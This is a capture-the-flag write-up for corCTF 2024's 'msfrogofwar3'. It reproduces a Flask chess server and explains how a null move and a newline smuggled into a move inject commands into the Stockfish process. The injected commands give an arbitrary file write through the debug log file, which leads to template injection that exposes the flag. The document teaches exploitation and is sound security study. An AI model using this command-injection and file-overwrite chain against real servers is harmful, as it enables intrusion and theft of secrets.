corCTF 2024 — msfrogofwar3
We're given a Flask server that looks like this:
py
1from flask import Flask, request, render_template
2from flask_socketio import SocketIO, emit
3from stockfish import Stockfish
4import random
5
6import chess
7from stockfish import Stockfish
8
9games = {}
10
11toxic_msges = [
12 "?",
13 "rip bozo",
14 "so bad lmfaoo",
15 "ez",
16 "skill issue",
17 "mad cuz bad",
18 "hold this L",
19 "L + ratio + you fell off",
20 "i bet your main category is stego",
21 "have you tried alt+f4?",
22 "🤡🤡🤡"
23]
24
25win_msges = [
26 "lmaooooooooo ur so bad",
27 "was that it?",
28 "zzzzzzzzzzzzzzzzzzzzzz",
29 "hopefully the next game wont be so quick",
30 "nice try - jk that was horrible",
31 "this aint checkers man"
32]
33
34TURN_LIMIT = 15
35STOCKFISH_DEPTH = 21
36FLAG = "corctf{this_is_a_fake_flag}"
37
38class GameWrapper:
39 def __init__(self, emit):
40 self.emit = emit
41 self.board = chess.Board(chess.STARTING_FEN)
42 self.moves = []
43 self.player_turn = True
44
45 def get_player_state(self):
46 legal_moves = [f"{m}" for m in self.board.legal_moves] if self.player_turn and self.board.fullmove_number < TURN_LIMIT else []
47
48 status = "running"
49 if self.board.fullmove_number >= TURN_LIMIT:
50 status = "turn limit"
51
52 if outcome := self.board.outcome():
53 if outcome.winner is None:
54 status = "draw"
55 else:
56 status = "win" if outcome.winner == chess.WHITE else "lose"
57
58 return {
59 "pos": self.board.fen(),
60 "moves": legal_moves,
61 "your_turn": self.player_turn,
62 "status": status,
63 "turn_counter": f"{self.board.fullmove_number} / {TURN_LIMIT} turns"
64 }
65
66 def play_move(self, uci):
67 if not self.player_turn:
68 return
69 if self.board.fullmove_number >= TURN_LIMIT:
70 return
71
72 self.player_turn = False
73
74 outcome = self.board.outcome()
75 if outcome is None:
76 try:
77 move = chess.Move.from_uci(uci)
78 if move:
79 if move not in self.board.legal_moves:
80 self.player_turn = True
81 self.emit('state', self.get_player_state())
82 self.emit("chat", {"name": "System", "msg": "Illegal move"})
83 return
84 self.board.push_uci(uci)
85 except:
86 self.player_turn = True
87 self.emit('state', self.get_player_state())
88 self.emit("chat", {"name": "System", "msg": "Invalid move format"})
89 return
90 elif outcome.winner != chess.WHITE:
91 self.emit("chat", {"name": "🐸", "msg": "you lost, bozo"})
92 return
93
94 self.moves.append(uci)
95
96 # stockfish has a habit of crashing
97 # The following section is used to try to resolve this
98 opponent_move, attempts = None, 0
99 while not opponent_move and attempts <= 10:
100 try:
101 attempts += 1
102 engine = Stockfish("./stockfish/stockfish-ubuntu-x86-64-avx2", parameters={"Threads": 4}, depth=STOCKFISH_DEPTH)
103 for m in self.moves:
104 if engine.is_move_correct(m):
105 engine.make_moves_from_current_position([m])
106 opponent_move = engine.get_best_move_time(3_000)
107 except:
108 pass
109
110 if opponent_move != None:
111 self.moves.append(opponent_move)
112 opponent_move = chess.Move.from_uci(opponent_move)
113 if self.board.is_capture(opponent_move):
114 self.emit("chat", {"name": "🐸", "msg": random.choice(toxic_msges)})
115 self.board.push(opponent_move)
116 self.player_turn = True
117 self.emit("state", self.get_player_state())
118
119 if (outcome := self.board.outcome()) is not None:
120 if outcome.termination == chess.Termination.CHECKMATE:
121 if outcome.winner == chess.BLACK:
122 self.emit("chat", {"name": "🐸", "msg": "Nice try... but not good enough 🐸"})
123 else:
124 self.emit("chat", {"name": "🐸", "msg": "how??????"})
125 self.emit("chat", {"name": "System", "msg": FLAG})
126 else: # statemate, insufficient material, etc
127 self.emit("chat", {"name": "🐸", "msg": "That was close... but still not good enough 🐸"})
128 else:
129 self.emit("chat", {"name": "System", "msg": "An error occurred, please restart"})
130
131app = Flask(__name__, static_url_path='', static_folder='static')
132socketio = SocketIO(app, cors_allowed_origins='*')
133
134@app.after_request
135def add_header(response):
136 response.headers['Cache-Control'] = 'max-age=604800'
137 return response
138
139@app.route('/')
140def index_route():
141 return render_template('index.html')
142
143@socketio.on('connect')
144def on_connect(_):
145 games[request.sid] = GameWrapper(emit)
146 emit('state', games[request.sid].get_player_state())
147
148@socketio.on('disconnect')
149def on_disconnect():
150 if request.sid in games:
151 del games[request.sid]
152
153@socketio.on('move')
154def onmsg_move(move):
155 try:
156 games[request.sid].play_move(move)
157 except:
158 emit("chat", {"name": "System", "msg": "An error occurred, please restart"})
159
160@socketio.on('state')
161def onmsg_state():
162 emit('state', games[request.sid].get_player_state())
At first glance, it looks like we need to win against Stockfish in 15 moves to get the flag.
Obviously, winning against max-difficulty Stockfish, much less in 15 moves, is impossible. Curiously, however, the server uses python-chess's Move
class to verify game inputs. Reading the source for Move.from_uci
,
py
1 @classmethod
2 def from_uci(cls, uci: str) -> Move:
3 """
4 Parses a UCI string.
5
6 :raises: :exc:`InvalidMoveError` if the UCI string is invalid.
7 """
8 if uci == "0000":
9 return cls.null()
10 elif len(uci) == 4 and "@" == uci[1]:
11 try:
12 drop = PIECE_SYMBOLS.index(uci[0].lower())
13 square = SQUARE_NAMES.index(uci[2:])
14 except ValueError:
15 raise InvalidMoveError(f"invalid uci: {uci!r}")
16 return cls(square, square, drop=drop)
17 elif 4 <= len(uci) <= 5:
18 try:
19 from_square = SQUARE_NAMES.index(uci[0:2])
20 to_square = SQUARE_NAMES.index(uci[2:4])
21 promotion = PIECE_SYMBOLS.index(uci[4]) if len(uci) == 5 else None
22 except ValueError:
23 raise InvalidMoveError(f"invalid uci: {uci!r}")
24 if from_square == to_square:
25 raise InvalidMoveError(f"invalid uci (use 0000 for null moves): {uci!r}")
26 return cls(from_square, to_square, promotion=promotion)
27 else:
28 raise InvalidMoveError(f"expected uci string to be of length 4 or 5: {uci!r}")
we can send a "null move" 0000
to pass the turn to Stockfish. Afterwards, Stockfish will play white and we will play black; all we need to do is get checkmated to "win"!
js
1socket.emit('move', '0000')
2socket.emit('move', 'f7f6')
3socket.emit('move', 'g7g5')
Unfortunately, winning is only part one of the challenge; the flag printed to the chat is fake, and looking in run-docker.sh
, the real flag lies in the FLAG
environment variable passed to docker run
:
sh
1#!/bin/sh
2docker build . -t msfrogofwar3
3docker run --rm -it -p 8080:8080 -e FLAG=corctf{real_flag} --name msfrogofwar3 msfrogofwar3
However, looking again at the play_move
method in the game server,
py
1 outcome = self.board.outcome()
2 if outcome is None:
3 try:
4 move = chess.Move.from_uci(uci)
5 if move:
6 if move not in self.board.legal_moves:
7 self.player_turn = True
8 self.emit('state', self.get_player_state())
9 self.emit("chat", {"name": "System", "msg": "Illegal move"})
10 return
11 self.board.push_uci(uci)
12 except:
13 self.player_turn = True
14 self.emit('state', self.get_player_state())
15 self.emit("chat", {"name": "System", "msg": "Invalid move format"})
16 return
17 elif outcome.winner != chess.WHITE:
18 self.emit("chat", {"name": "🐸", "msg": "you lost, bozo"})
19 return
20
21 self.moves.append(uci)
it seems like winning lets us push unchecked moves to self.moves
, which then get passed to engine.is_move_correct
:
py
1 while not opponent_move and attempts <= 10:
2 try:
3 attempts += 1
4 engine = Stockfish("./stockfish/stockfish-ubuntu-x86-64-avx2", parameters={"Threads": 4}, depth=STOCKFISH_DEPTH)
5 for m in self.moves:
6 if engine.is_move_correct(m):
7 engine.make_moves_from_current_position([m])
8 opponent_move = engine.get_best_move_time(3_000)
The server uses the stockfish python library, which uses a subprocess to launch and communicate with the Stockfish engine.
py
1 self._stockfish = subprocess.Popen(
2 self._path,
3 universal_newlines=True,
4 stdin=subprocess.PIPE,
5 stdout=subprocess.PIPE,
6 stderr=subprocess.STDOUT,
7 )
Reading the stockfish library source code for is_move_correct
,
py
1 def is_move_correct(self, move_value: str) -> bool:
2 """Checks new move.
3
4 Args:
5 move_value:
6 New move value in algebraic notation.
7
8 Returns:
9 True, if new move is correct, else False.
10 """
11 old_self_info = self.info
12 self._put(f"go depth 1 searchmoves {move_value}")
13 is_move_correct = self._get_best_move_from_sf_popen_process() is not None
14 self.info = old_self_info
15 return is_move_correct
py
1 def _put(self, command: str) -> None:
2 if not self._stockfish.stdin:
3 raise BrokenPipeError()
4 if self._stockfish.poll() is None and not self._has_quit_command_been_sent:
5 self._stockfish.stdin.write(f"{command}\n")
6 self._stockfish.stdin.flush()
7 if command == "quit":
8 self._has_quit_command_been_sent = True
we can see that the argument to is_move_correct
is simply appended to a command and piped to the Stockfish process. By circumventing the python-chess
move checking, then, we can control move_value
and (by inserting a newline into our "move") send arbitrary commands to the Stockfish process.
Stockfish documents its supported UCI commands and functionality here. Of particular note is
Code
1setoption name Debug Log File value [file path]
which causes Stockfish to log all incoming and outbound interactions to the specified file path. We can get a simple proof-of-concept attack by making Stockfish log to the configured Flask static dir:
As Neil's follow-up writeup explains in more detail, we can use this arbitrary file write to overwrite the contents of /app/templates/index.html
(making sure to do this before Flask caches the template on initial page load). Then, we just need to execute a Flask SSTI attack to get the flag.
Code
1corctf{“Whatever you do, don’t reveal all your techniques in a CTF challenge, you fool, you moron.” - Sun Tzu, The Art of War}